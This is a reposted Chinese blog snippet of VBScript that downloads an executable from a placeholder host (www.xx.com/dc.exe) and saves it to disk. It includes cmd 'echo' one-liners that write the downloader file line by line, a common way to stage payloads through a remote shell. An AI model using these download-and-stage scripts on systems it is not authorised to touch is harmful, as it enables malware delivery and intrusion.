`
rl203rl
  • 浏览: 20750 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

自动下载并运行的VBS脚本代码[转载]

阅读更多

自动下载并运行的VBS脚本代码[转载]
2012年01月15日
  信息来源:http://blog.csdn.net/yatere/article/details/6562680
  自动下载并运行的VBS脚本代码
  Set xPost = createObject("Microsoft.XMLHTTP")
  xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址
  xPost.Send()
  Set sGet = createObject("ADODB.Stream")
  sGet.Mode = 3
  sGet.Type = 1
  sGet.Open()
  sGet.Write(xPost.responseBody)
  sGet.SaveToFile "c:/dc.exe",2 '保存文件的路径和文件名
  把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs
  使用ECHO方法写入
  echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs
  echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
  echo xPost.Send() >>dc.vbs
  echo Set sGet = createObject("ADODB.Stream") >>dc.vbs
  echo sGet.Mode = 3 >>dc.vbs
  echo sGet.Type = 1 >>dc.vbs
  echo sGet.Open() >>dc.vbs
  echo sGet.Write(xPost.responseBody) >>dc.vbs
  echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs
  ===================带参数的WGET.vbs==========
  on error resume next
  iLocal=LCase(Wscript.Arguments(1))
  iRemote=LCase(Wscript.Arguments(0))
  Set xPost=createObject("Microsoft.XMLHTTP")
  xPost.Open "GET",iRemote,0
  xPost.Send()
  set sGet=createObject("ADODB.Stream")
  sGet.Mode=3
  sGet.Type=1
  sGet.Open()
  sGet.Write xPost.ResponseBody
  sGet.SaveToFile iLocal,2
  ===================带参数的WGET.vbs==========
  ===================带参数的WGET.vbs==========
  echo on
  echo on error resume next >dc.vbs
  echo iLocal=LCase(Wscript.Arguments(1))>>dc.vbs
  echo iRemote=LCase(Wscript.Arguments(0))>>dc.vbs
  echo Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbs
  echo xPost.Open "GET",iRemote,0>>dc.vbs
  echo xPost.Send()>>dc.vbs
  echo set sGet=createObject("ADODB.Stream")>>dc.vbs
  echo sGet.Mode=3>>dc.vbs
  echo sGet.Type=1>>dc.vbs
  echo sGet.Open()>>dc.vbs
  echo sGet.Write xPost.ResponseBody>>dc.vbs
  echo sGet.SaveToFile iLocal,2>>dc.vbs
  echo off
  pasue
  ===================带参数的WGET.vbs==========
  1.iget.vbs一次写入
  在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
  Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
  这样我们可以一次echo成功,echo版本:
  echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
分享到:
评论

相关推荐

    QQ自动登陆”的VBS脚本代码.pdf

    QQ自动登陆”的VBS脚本代码.pdf

    VBS脚本执行exe

    首先,需要创建一个文本文件并在其中编写VBS脚本代码。例如,假设我们需要执行位于D盘download文件夹下的名为`BaiduYun_3.5.0.exe`的应用程序,可以在文本文件中写入以下代码: ```vbscript Dim objShell Set ...

    VBS脚本常用代码大全2011整理.pdf

    ### VBS脚本常用代码详解 #### 一、VBS播放音乐 VBS(Visual Basic Script Edition)是一种轻量级的脚本语言,基于VB(Visual Basic),常用于自动化任务和系统管理。以下是一个简单的VBS脚本示例,用于播放指定的...

    windows下tomcat自动启动vbs脚本

    打开文本编辑器,如记事本,输入以下代码并保存为`script.vbs`: ```vb Option Explicit Dim WshShell, oExec Set WshShell = CreateObject("WScript.Shell") ' 指定Tomcat的安装路径 Dim tomcatPath: tomcatPath...

    c++调用vbs脚本函数(Qt)

    标题“c++调用vbs脚本函数(Qt)”指出了一个具体的技术实践,即在Qt环境下,使用C++代码来调用VBScript中的函数。这通常是为了利用VBScript在处理Windows特定任务,如自动化、文件操作或与COM组件交互时的便利性。 ...

    wincc vbs脚本手册

    wincc vbs脚本手册 西门子 组态 脚本

    自动打网页的VBS脚本

    自动打网页的VBS脚本 自动打网页的VBS脚本 可也调整窗口大小

    WinCC常用C和VBS脚本.pdf

    WinCC是西门子提供的一款用于监控和控制工业系统的软件,而C脚本和VBS脚本是WinCC中支持的两种脚本语言,分别代表C语言风格的脚本和Visual Basic Scripting Edition(VBS)风格的脚本。 1. WinCC脚本基础 在WinCC...

    VBS实例 44个 vbs脚本实例

    VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs 利用VB编写文本朗读精灵.vbs 。...

    自动修改网卡名称的VBS脚本

    而“NetCard Name.vbs”就是我们要找的VBS脚本本身,包含了实现自动修改网卡名称的代码。打开这个脚本,我们可以看到如何使用VBS与注册表交互,查找当前的网卡名称,设定新的名称,以及可能的错误处理和用户界面交互...

    vbs脚本手册

    VBS脚本运行库手册之一(磁盘操作) VBS脚本运行库手册之二(磁盘操作) VBS脚本运行库手册之三(管理文件夹) VBS脚本运行库手册之四(管理文件夹) VBS脚本运行库手册之五(文件夹属性) VBS脚本运行库手册之...

    windows常用bat/vbs脚本合集

    这些脚本通常会通过批处理或者VBS的组合来实现更复杂的功能,比如在系统启动时自动运行、定时执行等。用户可以根据自己的需求选择或修改这些脚本来适应自己的工作环境。 总的来说,这个"windows常用bat/vbs脚本合集...

    vb调用vbs脚本

    这段代码创建了一个WScript.Shell对象,并通过Run方法执行了指定路径的VBS脚本。 2. **使用ScriptControl对象**:ScriptControl对象允许VB直接执行VBScript或JScript代码。但这需要在VB6或更早版本中使用,因为从...

    VBS脚本编程简明教程

    综上所述,VBS脚本编程以其独特的优势和简洁的语法,在自动化日常计算机任务方面发挥着重要作用,尤其是对于Windows用户而言,掌握了VBS脚本,就能轻松应对许多重复性高、耗时的计算机操作,极大地提升了工作效率。...

    VBS脚本代码经典实例

    压缩文件中包含了近100个本人收集和实际应用的所有脚本,代码详细,涉及Windows账号,AD域管理,操作系统,注册表,文件读写,网络,端口扫描等等vbs代码,经典快下哦,vbs交流请加群70539804,本人是群主

    cmd执行vbs脚本

    我个人喜欢研究cmd,后面无意中接触到vbs,就思考cmd能运行vbs么?---答案是可以的。经过研究发现,cmd可以执行vbs,但是还是需要生成vbs文件,执行完成后删除vbs文件

    vbs简单脚本合集

    VBS(Visual Basic Script)是一种基于Visual Basic编程语言的脚本版本,主要用于Windows环境下的自动化任务、网页交互和系统管理。这个"vbs简单脚本合集"可能包含了一系列实用的VBS脚本示例,旨在帮助用户了解和...

    VBS脚本开发工具

    VBS脚本开发工具还允许开发者进行调试,定位并修复脚本中的错误,这对于确保脚本的正确运行至关重要。此外,学习和使用VBSClass这样的类库,可以提升代码的结构化和可维护性,使得大型项目更容易管理和扩展。 总之...

    Vbs脚本编程简明教程.doc

    VBS脚本可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。 VBS脚本的优点: 1. 高效:VBS脚本可以直接由Windows系统执行,不需要编译成二进制文件。 2. 易学:VBS脚本易于...

    VBS脚本学习指南,适合初学者

    - 在保存脚本的位置找到该文件并双击运行。 - 应该会弹出一个消息框显示“Hello World!”。 **注意事项**: - 确保所有的标点符号(如引号和逗号)都是英文状态下的字符。 - 脚本文件的名称可以自定义,但扩展名...

Global site tag (gtag.js) - Google Analytics